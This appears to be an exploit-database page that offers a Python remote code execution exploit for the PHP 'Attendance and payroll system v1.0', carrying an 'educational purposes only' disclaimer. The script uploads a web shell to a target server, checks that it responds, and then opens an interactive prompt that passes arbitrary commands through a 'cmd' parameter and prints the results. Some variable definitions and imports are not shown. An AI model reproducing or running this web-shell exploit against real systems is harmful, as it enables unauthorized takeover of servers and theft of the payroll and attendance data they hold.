Attendance and payroll system v1.0 remote code execution (rce) Vulnerability / Exploit
/
/
/
Exploits / Vulnerability Discovered : 2022-03-07 |
Type : webapps |
Platform : php
This exploit / vulnerability Attendance and payroll system v1.0 remote code execution (rce) is for educational purposes only and if it is used you will do on your own risk!
# Check for arguments
if len(sys.argv) < 2 or '-h' in sys.argv:
output.info("Usage: python3 rce.py http://127.0.0.1")
sys.exit()
# Upload the shell
target = sys.argv[1]
output.info(f"Uploading the web shell to {target}")
r = requests.post(target + upload_path, files=files, data=multipart_form_data, verify=False)
# Validating shell has been uploaded
output.info(f"Validating the shell has been uploaded to {target}")
r = requests.get(target + shell_path, verify=False)
try:
r = requests.get(target + shell_path)
if r.status_code == 200:
output.success('Successfully connected to web shell\n')
else:
raise Exception
except ConnectionError:
output.error('We were unable to establish a connection')
sys.exit()
except:
output.error('Something unexpected happened')
sys.exit()
# Remote code execution
while True:
try:
cmd = input("\033[91mRCE\033[0m > ")
if cmd == 'exit':
raise KeyboardInterrupt
r = requests.get(target + shell_path + "?cmd=" + cmd, verify=False)
if r.status_code == 200:
print(r.text)
else:
raise Exception
except KeyboardInterrupt:
sys.exit()
except ConnectionError:
output.error('We lost our connection to the web shell')
sys.exit()
except:
output.error('Something unexpected happened')
sys.exit()
Attendance and payroll system v1.0 remote code execution (rce)